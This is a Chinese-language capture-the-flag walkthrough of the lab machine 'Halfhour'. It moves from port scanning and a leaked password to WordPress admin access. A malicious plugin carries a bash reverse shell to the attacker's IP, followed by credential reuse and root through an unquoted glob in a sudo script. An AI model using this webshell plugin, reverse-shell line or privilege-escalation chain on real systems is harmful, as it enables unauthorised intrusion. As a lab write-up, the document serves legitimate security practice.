

# 一、信息收集

## 1.1 主机发现

首先在当前网段进行ARP扫描，识别存活主机。目标靶机IP地址为 192.168.205.200。

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.200 08:00:27:ea:32:09          PCS Systemtechnik GmbH
...
```

## 1.2 端口扫描

使用Nmap对目标主机进行全端口扫描，以确定开放的服务。

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.200
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 19:38 CST
Nmap scan report for 192.168.205.200
Host is up (0.00014s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1337/tcp  open  waste
1338/tcp  open  wmc-log-svc

MAC Address: 08:00:27:EA:32:09 (PCS Systemtechnik/oracle virtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
```

扫描结果显示开放了四个端口：SSH (22), HTTP (80)，以及两个未知服务端口 1337 和 1338。非标准端口通常是渗透的突破口，我们优先对其进行探测。

# 二、漏洞利用与凭证获取

## 2.1 探测未知端口

使用 nc 连接 1337 端口，发现一个密码验证服务。在多次尝试失败后，服务提示可以通过 1338 端口重置密码。

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ nc 192.168.205.200 1337
Please enter password: asdasd
Incorrect password. Attempts left: 2
asd
Incorrect password. Attempts left: 1
Too many failed attempts. Reset password? (yes/no)yes
Please send new password to port 1338.
```

接着连接 1338 端口，尝试发送新密码。有趣的是，无论我们发送什么新密码，服务在返回成功信息的同时，都会泄露旧密码 bobobo。

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ nc 192.168.205.200 1338
Please send new password: admin
Congratulations! Password reset successful!
old password: bobobo
```

多次尝试后发现旧密码始终是 bobobo，这表明 1338 端口的功能可能是伪造的，其真实目的是泄露一个固定密码。我们成功获得了一个关键凭证：bobobo。

## 2.2 Web服务渗透

访问 80 端口的Web服务，在页面源码中发现一条注释，提示了域名 halfhour.ds1。

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ curl -s 192.168.205.200 | sed '/<style>/,/<\/style>/d'
<!-- halfhour.ds1 -->
<!DOCTYPE html>
...
```

将域名与IP地址绑定到 /etc/hosts 文件中。

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ echo "192.168.205.200 halfhour.ds1" | sudo tee -a /etc/hosts
```

再次访问 <http://halfhour.ds1>，发现是一个 WordPress 站点。在默认文章“世界，您好！”中，作者的用户名为 todd。

结合之前获取的密码 bobobo 和现在发现的用户名 todd，尝试登录WordPress后台 (/wp-admin)。

- **Username:** todd
- **Password:** bobobo

登录成功！

## 三、获取WebShell

获得WordPress后台权限后，可以通过多种方式获取WebShell，例如编辑主题文件、上传恶意插件等。这里我们采用上传恶意插件的方法。

### 3.1 构造恶意插件

一个最简单的WordPress插件包含一个主PHP文件，用于声明插件信息。我们再额外添加一个用于反弹Shell的PHP文件。

目录结构：

```
my-shell-plugin/
├── reverse-shell.php (插件信息文件)
└── reverse.php      (反弹Shell Payload)
```

`reverse-shell.php` 内容：

```
<?php
/**
 * Plugin Name:        reverse shell
 * Description:       visit /wp-content/plugins/my-shell-plugin/reverse.php to
trigger.
 * Version:           1.0
 * Author:            kali
 */
if ( ! defined( 'WPINC' ) ) {
    die;
}
?>
```

`reverse.php` 内容 (一个简单的反弹Shell)：

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.205.128/8888 0>&1'");
?>
```

**注意：**目标PHP环境可能禁用了一些危险函数，如 `system`, `passthru` 等。经过测试，`exec` 函数在此环境中可用。

将 `my-shell-plugin` 目录压缩为zip文件。

## 3.2 上传并触发

在WordPress后台 "插件" -> "安装插件" -> "上传插件" 处上传 `my-shell-plugin.zip` 并启用它。

在Kali上开启监听：

```
__(kali㉿kali)-[/mnt/hgfs/gx/x]
└$ nc -lvp 8888
listening on [any] 8888 ...
```

访问上传的PHP文件以触发反弹Shell： `http://halfhour.ds़/wp-content/plugins/my-shell-plugin/reverse.php`

成功接收到Shell：

```
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.200] 59450
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## 3.3 稳定Shell

为了更好的交互体验，将当前Shell升级为功能完整的TTY Shell。

```
script /dev/null -c bash
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm SHELL=/bin/bash
stty rows 36 columns 178
```

## 四、权限提升

### 4.1 www-data -> wangjiang

拿到Shell后，首要任务是信息收集。WordPress站点的数据库凭证通常存储在 `wp-config.php` 文件中。

```
www-data@Halfhour:/var/www/halfhour.ds$ cat wp-config.php
...
define( 'DB_USER', 'wpuser' );
/* define( 'DB_PASSWORD', 'root123' ); */
define( 'DB_PASSWORD', 'your_strong_password' );
...
```

我们在配置文件中发现了两个密码：`your_strong_password` 和被注释掉的 `root123`。利用密码复用的思路，尝试用这些密码切换到系统上的其他用户。

```
www-data@Halfhour:/var/www/halfhour.ds$ ls /home
nxal  wangjiang  welcome
www-data@Halfhour:/home$ su wangjiang
Password: root123
wangjiang@Halfhour:/home$ id
uid=1002(wangjiang) gid=1002(wangjiang) groups=1002(wangjiang)
```

成功使用密码 `root123` 切换到 `wangjiang` 用户。

### 4.2 wangjiang -> welcome

在 `wangjiang` 的家目录下进行信息搜集，发现 `.mysql_history` 文件中记录了敏感信息。

```
wangjiang@Halfhour:~$ cat note.txt
Get user welcome first
wangjiang@Halfhour:~$ cat .mysql_history
...
INSERT INTO user (username, password)
VALUES ('welcome', '4c850c5b3b2756e67a91bad8e046ddac')
ON DUPLICATE KEY UPDATE password = VALUES(password);
...
```

`note.txt` 提示我们下一步的目标是 `welcome` 用户。`.mysql_history` 文件中泄露了 `welcome` 用户的密码哈希 (MD5) : `4c850c5b3b2756e67a91bad8e046ddac`。

一个常见的CTF技巧是，哈希值本身可能就是密码。

```
wangjiang@Halfhour:~$ su welcome  
Password: 4c850c5b3b2756e67a91bad8e046ddac  
welcome@Halfhour:/home/wangjiang$ id  
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
```

成功切换到 `welcome` 用户。

## 4.3 welcome -> root

检查 `welcome` 用户的 `sudo` 权限。

```
welcome@Halfhour:/home/wangjiang$ sudo -l  
Matching Defaults entries for welcome on Halfhour:  
    env_reset, mail_badpass,  
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
  
User welcome may run the following commands on Halfhour:  
(ALL) NOPASSWD: /usr/local/bin/del.sh
```

`welcome` 用户可以无密码以root权限执行 `/usr/local/bin/del.sh` 脚本。查看该脚本内容：

```
welcome@Halfhour:/home/wangjiang$ ls -al /usr/local/bin/del.sh  
-rwxr-xr-x 1 root root 74 Sep 14 05:22 /usr/local/bin/del.sh  
welcome@Halfhour:/home/wangjiang$ cat /usr/local/bin/del.sh  
#!/bin/bash  
  
PATH=/usr/bin  
cd /tmp  
cat /root/root.txt | tr -d [A-Za-z0-9]
```

### 漏洞原理分析

脚本的意图是读取 `/root/root.txt` 文件，然后通过 `tr -d [A-Za-z0-9]` 命令过滤掉所有的字母和数字，从而隐藏真正的Flag。

然而，该脚本存在一个严重的安全缺陷：`tr`命令的参数 `[A-Za-z0-9]` 没有被引号包裹。这是一个典型的Shell路径名展开漏洞。

1. 当Shell执行 `tr` 命令时，它会先解析命令行参数。
2. 由于 `[A-Za-z0-9]` 未加引号，Shell会将其视为一个通配符，意为“匹配当前目录下任意一个由单个字母或数字组成的文件名”。
3. 脚本中 `cd /tmp` 命令将当前目录切换到了全局可写的 `/tmp` 目录。
4. 因此，我们可以在 `/tmp` 目录下创建一个文件名恰好能匹配该通配符的文件，例如 `A`、`B` 或 `1`。
5. 当脚本执行时，Shell在 `/tmp` 目录中找到了文件 `A`，便会用文件名 `A` 替换掉通配符 `[A-Za-z0-9]`。
6. 最终，实际执行的命令就从 `tr -d [A-Za-z0-9]` 变成了 `tr -d A`。

这样一来，原本要删除所有字母和数字的命令，就变成了只删除字符'A'的命令。由于Flag中不包含大写字母'A'，因此Flag被完整地打印了出来。

根据以上原理，我们构造利用链：

```
welcome@Halfhour:/home/wangjiang$ cd /tmp  
welcome@Halfhour:/tmp$ touch A  
welcome@Halfhour:/tmp$ sudo /usr/local/bin/del.sh  
flag{root-4c850c5b3b2756e67a91bad8e046ddac}
```

**回顾与发现：**在渗透过程中，我们还发现了另一条更直接的提权路径。最初在 1337 端口探测中获得的密码 bobobo 实际上是 root用户的密码。

```
welcome@Halfhour:/tmp$ su -  
Password: bobobo  
root@Halfhour:~# id  
uid=0(root) gid=0(root) groups=0(root)
```

成功切换到root用户！

## 五、获取Flag

现在我们拥有root权限，可以读取所有flag文件。

```
root@Halfhour:~# cat /root/root.txt  
flag{root-4c850c5b3b2756e67a91bad8e046ddac}  
root@Halfhour:~# cat /home/wangjiang/user.txt  
flag{user-4c850c5b3b2756e67a91bad8e046ddac}
```

算彩蛋吧， 4c850c5b3b2756e67a91bad8e046ddac 是 aaaaa 的md5

```
—(kali㉿kali)-[~]  
└ $ echo 'aaaaa' | md5sum  
4c850c5b3b2756e67a91bad8e046ddac -
```